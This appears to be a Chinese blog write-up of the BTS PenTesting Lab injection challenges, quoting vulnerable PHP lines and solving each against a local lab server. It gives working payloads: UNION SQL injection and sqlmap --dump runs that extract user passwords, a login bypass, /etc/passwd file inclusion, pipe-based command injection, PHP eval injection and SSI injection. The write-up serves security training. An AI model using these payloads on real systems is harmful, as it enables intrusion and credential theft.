BTS PenTesting Lab - A1 Injection

SQL Injection

Sql Injection 1
  • 源文件:/btslab/vulnerability/ForumPosts.php

这里写图片描述

# 第7行
mysql_query("DELETE from posts where postid='$id'") or die("Failed to Delete the post");

# 第14行
$result=mysql_query("select * from posts where postid=".$_GET['id']) or die(mysql_error());

直接把传过来的id未过滤就带进SQL去了

地址:http://192.168.1.228/vulnerability/ForumPosts.php?id=1

判断是否存在注入的方法在后面and 1=1返回正常、and 1=2无返回或加'报错

这里写图片描述

  • 判断数据库版本
id=1 and ord(mid(version(),1,1))>52

返回正常,说明数据库是mysql,并且版本大于5.0,52是ACSII码的4

  • 判断字段长度
id=1 order by 10  # 返回错误

id=1 order by 5   # 返回错误

id=1 order by 4   # 返回正常

建议用“二分查找”,直到返回页面正常

  • 判断哪些字段可以显示数据
id=1 union select 1,2,3,4

这里写图片描述

这里显示2,3,4列字典可以用来显示数据

  • 查数据库信息
id=1 union select 1,database(),version(),user()

这里写图片描述

在mysql5.0以上版本中增加了一个系统库information_schema,可以直接暴库、表、字段。

构造查表名

id=1 union select 1,2,table_name,4 from information_schema.tables where table_schema=0x6274736c6162 limit 1,3

table_schema=[库名],库名要转换成16进制,limit第几个到第几个表范围

python3字符从转16进制在前面加0x

for x in 'btslab':print(hex(ord(x))[2:],end='')

这里写图片描述

查字段

id=1 union select 1,2,column_name,4 from information_schema.columns where table_name=0x706f737473 limit 1,3

最后查询用户数据

id=1 union select 1,2,username,password from users limit 1,3

这里写图片描述

Authentication Bypass
  • 源文件:/login.php

这里写图片描述

#第9行
$result=mysql_query("select * from users where username='$username' and password='$password' ") or die(mysql_error());;

登录认证绕过,构造SQL,用户名admin' or '1'='1,密码空或随意,SQL语句如下

select * from users where username='admin' or '1'='1' and password=''

成功登录

这里写图片描述

Blind SQLi 1
  • 源文件:/btslab/vulnerability/sqli/UserInfo.php

这里写图片描述

78$result=mysql_query("select * from users where id=".$id);
$data=@mysql_fetch_array($result);

存在注入,但屏蔽了错误显示,返回只有“正常”和“不正常”两种,属于SQL盲注,比较耗时,使用sqlmap跑

地址:http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1

列数据库

列数据库
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" --dbs

列表名
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab --tables

列字段
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab -T users --columns

列字段内容
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab -T users -C username,password --dump

这里写图片描述

Blind SQLi 2
  • 源文件:/btslab/vulnerability/sqli/blindsqli.php

这里写图片描述

SQL盲注,放sqlmap

# sqlmap -u "http://192.168.1.228/vulnerability/sqli/blindsqli.php?id=2" -T btslab -T users -C username,password --dump
# 第19行
include($data['page']);

include,如果权限足够,可以将任意文件包含进来,比如/etc/passwd

id=3 union select '/etc/passwd'

这里写图片描述

Command Injection

  • 源文件:/btslab/vulnerability/cmd/cmd.php

这里写图片描述

# 第14行
$result=shell_exec("ping ".$_GET['host']);

# 第18行
$result=shell_exec("ping -c 4 ".$_GET['host']);

都直接将参数带入到命令,利用系统管道符进行命令注入8.8.8.8 | ls -la,执行时成了

ping -c 4 8.8.8.8 | ls -la

这里写图片描述

PHP Code Injection

Challenge 1
  • 源文件:/btslab/vulnerability/phpinjection/challenge1.php

这里写图片描述

# 第7行
eval('$output = ' . $data. ';');

直接将参数带到eval中,直接提交phpinfo()

http://192.168.1.228/vulnerability/phpinjection/challenge1.php?data=phpinfo%28%29

这里写图片描述

Challenge 2
  • 源文件:/btslab/vulnerability/phpinjection/challenge2.php

这里写图片描述

# 第6行
$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);

'strtoupper("\\1")'外面有单引号,这时用双美元符${${variable}}注入代码

data={${phpinfo()}}

这里写图片描述

Remote File Inclusion

  • 源文件://btslab/vulnerability/rfi/RFI.php

这里写图片描述

这里是远程文件包含,需要在php.ini将allow_url_include打开

file=https://www.baidu.com

这里写图片描述

本地包含直接提交文件名即可

Server Side Includes(SSI) Injection

  • 源文件://btslab/vulnerability/ssi/ssi.php

这里写图片描述
确保.htaccess能解析

这里写图片描述

嵌入SSI指令打印当前文件名

<!--#echo var="DOCUMENT_NAME"-->

这里写图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值